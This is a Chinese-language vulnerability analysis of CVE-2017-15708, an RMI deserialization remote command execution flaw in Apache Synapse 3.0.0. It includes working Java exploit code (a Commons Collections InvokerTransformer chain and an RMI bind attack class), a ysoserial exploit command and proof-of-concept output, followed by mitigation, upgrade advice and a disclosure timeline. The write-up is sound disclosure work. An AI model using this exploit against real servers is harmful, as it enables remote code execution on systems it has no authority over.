

Apache Synapse(CVE-2017-15708)远程命令执行漏洞分析

0X00 介绍

Apache Synapse 是一种轻量级的高性能企业服务总线（ESB）。Apache Synapse 由快速和异步的中介引擎提供支持，为 XML、Web 服务和 REST 提供了卓越的支持。

0X01 分析

我们知道，完成反序列化漏洞需要存在两个条件：

- 存在反序列化对象数据传输
- 有缺陷的第三方 lib 库，例如 Apache Commons Collections

在 FoxGlove Security 安全团队的 @breenmachine 的博文中，总结了非常全面可能使用反序列化的地方：

- 在 HTTP 请求中
- RMI，RMI 在传输过程中一定会使用序列化和反序列化
- 基于 HTTP 的 RMI，同样 100%使用序列化对象
- JMX
- 自定义协议

由于 Synapse 业务功能的特殊性，默认启动并使用了 RMI：

```
[root@sevck_v3 tmp]# netstat -ntpl|grep java
tcp        0      0 0.0.0.0:1099 0.0.0.0:*        LISTEN    17942/java
tcp        0      0 0.0.0.0:8243 0.0.0.0:*        LISTEN    17942/java
tcp        0      0 0.0.0.0:8280 0.0.0.0:*        LISTEN    17942/java
tcp        0      0 0.0.0.0:59195 0.0.0.0:*        LISTEN    17942/java
[root@sevck_v3 tmp]#
```

```
RMI Registry at localhost:1099
Objects exposed: 1
Object 1
  Name: synapse
  Endpoint: 127.0.0.1:59195
  Classes: 3
    Class 1
      Classname: javax.management.remote.rmi.RMIServerImpl_Stub
    Class 2
      Classname: java.rmi.server.RemoteStub
    Class 3
      Classname: java.rmi.server.RemoteObject
```

现在我们知道，服务启动了 RMI，并且默认绑定到 0.0.0.0 中，完成反序列化漏洞的 2 个条件之一已经完成。

RMI 在传输过程中，必然存在使用序列化和反序列化。在 Apache Synapse 3.0.1 之前的版本中，默认使用 Apache Commons Collections 库。

```
[root@sevck_v3 tmp]# ps -ef|grep java |grep commons-collections
root      20119 20079  0 17:41 pts/1    00:00:03 /usr/local/java/jdk1.7/bin/java -server -Xms512M -Xmx512M -Dorg.apache.xerces.xni.parser.XMLParserConf
figuration=org.apache.xerces.parsers.XMLGrammarCachingConfiguration -Djava.endorsed.dirs=/data/synapse-3.0.0/lib/endorsed -Djava.io.tmpdir=/data/synaps
e-3.0.0/work/temp/synapse -classpath /data/synapse-3.0.0/lib/bcprov-jdk15on-1.49.jar:/data/synapse-3.0.0/lib/bcprov-jdk15-1.45.jar:/data/synapse-3.0.0
/repository/conf:/usr/local/java/jdk1.7/lib/tools.jar:/data/synapse-3.0.0/lib/patches:/data/synapse-3.0.0/lib/patches/synapse-patches-3.0.0.jar:/data/
synapse-3.0.0/lib:/data/synapse-3.0.0/lib/activation-1.1.jar:/data/synapse-3.0.0/lib/apache-mime4j-core-0.7.2.jar:/data/synapse-3.0.0/lib/axiom-api-1.
2.19.jar:/data/synapse-3.0.0/lib/axiom-compact-1.2.19.jar:/data/synapse-3.0.0/lib/axiom-dom-1.2.19.jar:/data/synapse-3.0.0/lib/axiom-impl-1.2.19.jar:/d
ata/synapse-3.0.0/lib/axis2-adb-1.7.3.jar:/data/synapse-3.0.0/lib/axis2-clustering-1.7.3.jar:/data/synapse-3.0.0/lib/axis2-codegen-1.7.3.jar:/data/syn
apse-3.0.0/lib/axis2-json-1.7.3.jar:/data/synapse-3.0.0/lib/axis2-kernel-1.7.3.jar:/data/synapse-3.0.0/lib/axis2-transport-1.7.3.jar:/data/synapse-3.0.0/lib/axis2-transport-http-1.7.3.jar:/data/synap
se-3.0.0/lib/axis2-transport-jms-1.7.3.jar:/data/synapse-3.0.0/lib/axis2-transport-local-1.7.3.jar:/data/synapse-3.0.0/lib/axis2-transport-mail-1.7.3.
jar:/data/synapse-3.0.0/lib/axis2-transport-util-concurrent-2.2.jar:/data/synapse-3.0.0/lib/axis2-transport-jdk15-1.45.jar:/data/synapse-3.0.0/lib/bcprov-jdk15on-1.49
.jar:/data/synapse-3.0.0/lib/bsf-all-3.0.jar:/data/synapse-3.0.0/lib/c3p0-0.9.1.1.jar:/data/synapse-3.0.0/lib/classworlds-1.1-alpha-2.jar:/data/synaps
e-3.0.0/lib/commons-cli-1.2.jar:/data/synapse-3.0.0/lib/commons-codec-1.6.jar:/data/synapse-3.0.0/lib/commons-collections-3.2.1.jar:/data/synapse-3.0.0
/lib/commons-dbc-1.3.jar:/data/synapse-3.0.0/lib/commons-fileupload-1.3.1.jar:/data/synapse-3.0.0/lib/commons-httpclient-3.1.jar:/data/synapse-3.0.0
/lib/commons-io-2.1.jar:/data/synapse-3.0.0/lib/commons-lang-2.6.jar:/data/synapse-3.0.0/lib/commons-logging-1.1.1.jar:/data/synapse-3.0.0/lib/commons
-net-3.0.1.jar:/data/synapse-3.0.0/lib/commons-pool-1.5.7.jar:/data/synapse-3.0.0/lib/commons-vfs2-2.0.jar:/data/synapse-3.0.0/lib/esapi-2.0GA.jar:/da
ta/synapse-3.0.0/lib/geronimo-activation_1.1_spec-1.1.jar:/data/synapse-3.0.0/lib/geronimo-javamail_1.4_spec-1.6.jar:/data/synapse-3.0.0/lib/geronimo-
jms_1.1_spec-1.1.jar:/data/synapse-3.0.0/lib/geronimo-jta_1.0.1B_spec-1.0.jar:/data/synapse-3.0.0/lib/geronimo-jta_1.1_spec-1.1.jar:/data/synapse-3.0.0
/lib/geronimo-saaj_1.3_spec-1.0.1.jar:/data/synapse-3.0.0/lib/geronimo-stax-api_1.0_spec-1.0.1.jar:/data/synapse-3.0.0/lib/geronimo-ws-metadata_2.0_s
pec-1.1.2.jar:/data/synapse-3.0.0/lib/gson-2.1.jar:/data/synapse-3.0.0/lib/httpcore-4.3.3.jar:/data/synapse-3.0.0/lib/httpcore-nio-4.3.3.jar:/data/syn
apse-3.0.0/lib/jaxen-1.1.6.jar:/data/synapse-3.0.0/lib/jaxws-tools-2.2.6.jar:/data/synapse-3.0.0/lib/jcip-annotations-1.0.jar:/data/synapse-3.0.0/lib/
jettison-1.3.8.jar:/data/synapse-3.0.0/lib/jline-0.9.94.jar:/data/synapse-3.0.0/lib/joda-time-1.6.2.jar:/data/synapse-3.0.0/lib/jsch-0.1.31.jar:/data/
synapse-3.0.0/lib/jsr311-api-1.1.1.jar:/data/synapse-3.0.0/lib/juli-6.0.16.jar:/data/synapse-3.0.0/lib/jul-to-slf4j-1.6.1.jar:/data/synapse-3.0.0/lib/
log4j-1.2.14.jar:/data/synapse-3.0.0/lib/mail-1.4.1.jar:/data/synapse-3.0.0/lib/maven-artifact-3.0.jar:/data/synapse-3.0.0/lib/maven-artifact-manager-
2.2.1.jar:/data/synapse-3.0.0/lib/maven-model-3.0.jar:/data/synapse-3.0.0/lib/maven-plugin-api-3.0.jar:/data/synapse-3.0.0/lib/maven-plugin-registry-2
.2.1.jar:/data/synapse-3.0.0/lib/maven-profile-2.2.1.jar:/data/synapse-3.0.0/lib/maven-project-2.2.1.jar:/data/synapse-3.0.0/lib/maven-repository-meta
data-2.2.1.jar:/data/synapse-3.0.0/lib/maven-settings-2.2.1.jar:/data/synapse-3.0.0/lib/mex-1.7.3-impl.jar:/data/synapse-3.0.0/lib/mina-core-2.0.13.ja
r:/data/synapse-3.0.0/lib/neethi-3.0.3.jar:/data/synapse-3.0.0/lib/not-yet-commons-ssl-0.3.9.j
[root@sevck_v3 tmp]#
```

图 1.1 Apache Synapse 进程

```
[root@sevck_v3 tmp]# lsof -p 20119|grep commons-collections
java      20119 root  mem      REG          253,0  575389  540267 /data/synapse-3.0.0/lib/commons-collections-3.2.1.jar
java      20119 root  34r     REG          253,0  575389  540267 /data/synapse-3.0.0/lib/commons-collections-3.2.1.jar
[root@sevck_v3 tmp]#
```

图 1.2 当前系统打开的 Collections

```
[root@sevck_v3 tmp]# cd /data/synapse-3.0.0
[root@sevck_v3 synapse-3.0.0]# grep -R "InvokerTransformer"
Binary file lib/commons-collections-3.2.1.jar matches
[root@sevck_v3 synapse-3.0.0]#
```

图 1.3 存在 InvokerTransformer 的库

在 Apache Commons Collections 小于等于 3.2.1 版本中，存在反序列化漏洞，Commons Collections 漏洞成因本文不再重复累赘。

0X02 利用

由于攻击的两个条件目前我们已经达成，编写 payload:

构造恶意 Transformer 链:

```
private static Transformer getExecTransformer(String cmd)
{
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer( methodName: "getMethod",
            new Class[] {String.class, Class[].class },
            new Object[] {"getRuntime", new Class[0] } ),

        new InvokerTransformer( methodName: "invoke",
            new Class[] {Object.class, Object[].class },
            new Object[] {null, new Object[0] } ),

        new InvokerTransformer( methodName: "exec",
            new Class[] {String.class },
            new Object[] {cmd} )
    };

    Transformer transformerChain = new ChainedTransformer(transformers);

    return transformerChain;
}
```

生成 Payload,发送 RMI 反序列化数据:

The screenshot shows a Java IDE with a code editor and a console window. The code defines a class `Attack` with a `main` method that performs an RMI attack. The console output shows the execution of the `main` method, including the generation of a lazy map exec payload and the binding of the RMI registry.

```
11  * @ClassName: Attack.java
12  * @Description: TODO
13  * @author Sevck
14  * @Date 2017年12月11日
15  */
16
17  public class Attack {
18
19      public static void main(String[] args) {
20          String ip = "192.168.197.25";
21          int port = 1099;
22
23          try{
24              // Collections Payload
25              Object instance = PayloadGeneration.generateLazyMapExecPayload( cmd: "touch /tmp/apache_synapse");
26              InvocationHandler h = (InvocationHandler) instance;
27              Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] {Remote.class}, h));
28              Registry registry = LocateRegistry.getRegistry(ip, port); // RMI IP Port
29              try{
30                  registry.bind( name: "pwned", r);
31              }
32              catch (Throwable e)
33              {
34                  e.printStackTrace();
35              }
36          }catch (Throwable e) {
37              e.printStackTrace();
38          }
39      }
40  }
```

Run Attack

```
java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.util.Set
at com.sun.proxy.$Proxy1.entrySet(Unknown Source)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:413)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:606)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1788)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1990)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1915)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1788)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370) <16 internal calls>
at java.lang.Thread.run(Thread.java:745) <4 internal calls>
at rmi: Attack Attack.main(Attack.java:20) <5 internal calls>
```

运行结果:

```
[root@sevck_v3 tmp]# ls -al
total 49956
drwxrwxrwt. 12 root root    4096 Dec 11 18:35 .
drwxr-xr-x  3 root root    4096 Nov 20 11:59 ..
drwxr-xr-x  2 root root    4096 Dec  9 18:20 axis2-tmp-6955086922081934564.tmp
-rw-r--r--  1 root root 434953 Dec 11 12:04 BaRMie_v1.01.jar
drwx----- 2 root root    4096 Nov 16 23:07 .esd-0
drwxr-xr-x  2 root root    4096 Dec 11 17:41 hspferdata_root
drwxrwxrwt  2 root root    4096 Nov 20 11:57 .ICE-unix
drwx----- 2 gdm  gdm    4096 Nov 20 11:57 orbit-gdm
drwx----- 2 root root    4096 Nov 16 23:07 pulse-y4FR3VixJ0ay
drwx----- 2 gdm  gdm    4096 Nov 20 11:57 pulse-YEDeVwcUSrFf
drwxrwxrwt  2 root root    4096 Nov 16 22:34 VMwareDnD
drwx----- 2 root root    4096 Oct 19 2016 .vnc-0
-r--r--r--  1 root root      11 Nov 20 11:57 .X0-lock
drwxrwxrwt  2 root root    4096 Nov 20 11:57 .X11-unix
-rw-r--r--  1 root root 50663089 Oct 18 12:35 ysoserial-master-v0.0.5-gb617b7b-16.jar
[root@sevck_v3 tmp]# ls -al
total 49956
drwxrwxrwt. 12 root root    4096 Dec 11 18:36 .
drwxr-xr-x  3 root root    4096 Nov 20 11:59 ..
-rw-r--r--  1 root root      0 Dec 11 18:36 apache_synapse
drwxr-xr-x  2 root root    4096 Dec  9 18:20 axis2-tmp-6955086922081934564.tmp
-rw-r--r--  1 root root 434953 Dec 11 12:04 BaRMie_v1.01.jar
drwx----- 2 root root    4096 Nov 16 23:07 .esd-0
drwxr-xr-x  2 root root    4096 Dec 11 17:41 hspferdata_root
drwxrwxrwt  2 root root    4096 Nov 20 11:57 .ICE-unix
drwx----- 2 gdm  gdm    4096 Nov 20 11:57 orbit-gdm
drwx----- 2 root root    4096 Nov 16 23:07 pulse-y4FR3VixJ0ay
drwx----- 2 gdm  gdm    4096 Nov 20 11:57 pulse-YEDeVwcUSrFf
drwxrwxrwt  2 root root    4096 Nov 16 22:34 VMwareDnD
drwx----- 2 root root    4096 Oct 19 2016 .vnc-0
-r--r--r--  1 root root      11 Nov 20 11:57 .X0-lock
drwxrwxrwt  2 root root    4096 Nov 20 11:57 .X11-unix
-rw-r--r--  1 root root 50663089 Oct 18 12:35 ysoserial-master-v0.0.5-gb617b7b-16.jar
[root@sevck_v3 tmp]#
```

在 ysoserial 工具中也集成了 CommonsCollections 的 Payload:

```
java -cp ysoserial-master-v0.0.5-gb617b7b-16.jar ysoserial.exploit.RMIRegistryExploit
192.168.197.25 1099 CommonsCollections1 "touch /tmp/apache_synapse"
```

0X03 缓解

删除掉项目 Apache Commons Collections 中的
org/apache/commons/collections/functors/InvokerTransformer.class 文件

0X04 修复

升级到官方提供的最新版本 Apache Synapse 3.0.1

时间轴

2017-11-10 发现漏洞

2017-11-13 报告漏洞

2017-12-05 官方发布 3.0.1 修复漏洞,赋予漏洞 CVE-2017-15708

2017-12-11 对外公开漏洞

参考链接

<http://www.openwall.com/lists/oss-security/2017/12/10/4>

<http://synapse.apache.org/download/3.0.1/download.cgi>

<http://synapse.apache.org/index.html>